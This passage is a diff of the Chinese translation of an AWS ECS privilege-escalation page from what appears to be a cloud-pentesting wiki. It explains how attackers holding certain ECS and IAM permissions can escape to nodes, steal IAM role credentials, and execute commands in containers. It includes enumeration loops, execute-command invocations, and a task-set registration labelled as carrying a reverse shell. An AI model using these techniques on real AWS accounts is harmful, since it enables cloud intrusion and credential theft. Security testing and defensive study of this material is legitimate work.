你甚至可以**强制其他任务在你入侵的 EC2 实例内运行**以窃取它们的凭据（如 [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) 所述）。
|
||||
这种情况与之前类似，但**没有** **`iam:PassRole`** 权限。\
|
||||
这仍然很重要，因为如果你能运行任意 container，即使没有 role，你也可以**run a privileged container to escape** 到 node，并**steal the EC2 IAM role** 以及运行在该 node 上的**other ECS containers roles**。\
|
||||
你甚至可以**force other tasks to run inside the EC2 instance** 在你攻破的实例中强制其他任务运行以窃取它们的凭证（如 [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) 中讨论）。
|
||||
|
||||
> [!WARNING]
|
||||
> 此攻击仅在 **ECS 集群 使用 EC2** 实例而不是 Fargate 时才可能发生。
|
||||
> 此攻击仅在 **ECS cluster 使用 EC2** 实例而非 Fargate 时才可能。
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
拥有 **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** 权限的攻击者可以在运行中的容器内**执行命令**并窃取附加于其的 IAM 角色（需要 describe 权限，因为运行 `aws ecs execute-command` 时需要该权限）。\
|
||||
不过，为了实现这一点，容器实例需要运行 **ExecuteCommand 代理**（默认情况下不运行）。
|
||||
拥有 **`ecs:ExecuteCommand`、`ecs:DescribeTasks`** 的攻击者可以在运行中的容器内**执行命令**并外泄该容器附着的 IAM role（需要 describe 权限，因为运行 `aws ecs execute-command` 需要它）。\
|
||||
但是，为了做到这点，容器实例必须运行 **ExecuteCommand agent**（默认情况下没有运行）。
|
||||
|
||||
因此，攻击者可以尝试：
|
||||
|
||||
- **尝试运行命令** 在每个运行中的容器中
|
||||
- **尝试在每个运行中的容器中运行命令**
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -256,18 +256,18 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]`
|
||||
- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]`
|
||||
- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]`
|
||||
- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]`
|
||||
- 如果他具有 **`ecs:RunTask`**，可使用 `aws ecs run-task --enable-execute-command [...]` 运行任务
|
||||
- 如果他具有 **`ecs:StartTask`**，可使用 `aws ecs start-task --enable-execute-command [...]` 运行任务
|
||||
- 如果他具有 **`ecs:CreateService`**，可使用 `aws ecs create-service --enable-execute-command [...]` 创建服务
|
||||
- 如果他具有 **`ecs:UpdateService`**，可使用 `aws ecs update-service --enable-execute-command [...]` 更新服务
|
||||
|
||||
你可以在 **previous ECS privesc sections** 中找到 **这些选项的示例**。
|
||||
你可以在 **之前的 ECS privesc sections** 中找到这些选项的示例。
|
||||
|
||||
**Potential Impact:** Privesc 到附加在容器上的不同角色。
|
||||
**潜在影响：** Privesc 到附加在容器上的不同角色。
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
请查看 **ssm privesc page**，了解如何滥用此权限以 **privesc to ECS**：
|
||||
在 **ssm privesc page** 中查看如何滥用此权限以 **privesc to ECS**：
|
||||
|
||||
{{#ref}}
|
||||
aws-ssm-privesc.md
|
||||
@@ -275,7 +275,7 @@ aws-ssm-privesc.md
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
请查看 **ec2 privesc page**，了解如何滥用这些权限以 **privesc to ECS**：
|
||||
在 **ec2 privesc page** 中查看如何滥用这些权限以 **privesc to ECS**：
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-privesc.md
|
||||
@@ -283,16 +283,16 @@ aws-ec2-privesc.md
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
拥有这些权限的攻击者可能在 ECS 集群中注册一个 EC2 实例并在其上运行任务。这可能允许攻击者在 ECS 任务的上下文中执行任意代码。
|
||||
拥有这些权限的攻击者可能会在 ECS 集群中注册一个 EC2 实例并在其上运行任务。这可能允许攻击者在 ECS 任务的上下文中执行任意代码。
|
||||
|
||||
- TODO: 是否可以从不同的 AWS 账户注册实例，以便任务在攻击者控制的机器上运行？？
|
||||
- TODO: 是否有可能从不同的 AWS 账户注册实例，从而使任务在攻击者控制的机器上运行？？
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: 测试此项
|
||||
> TODO: Test this
|
||||
|
||||
拥有权限 `ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet` 和 `ecs:DescribeTaskSets` 的攻击者可以 **创建恶意的 task set 用于现有的 ECS service 并更新 primary task set**。这允许攻击者在该 service 中 **执行任意代码**。
|
||||
拥有 `ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet` 和 `ecs:DescribeTaskSets` 权限的攻击者可以为现有的 ECS 服务创建恶意的 task set 并更新 primary task set。这允许攻击者在该服务中执行任意代码。
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -318,9 +318,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**潜在影响**：在受影响的服务中执行任意代码，可能影响其功能或 exfiltrating sensitive data。
|
||||
**潜在影响**: 在受影响的服务中执行任意代码，可能影响其功能或外泄敏感数据。
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user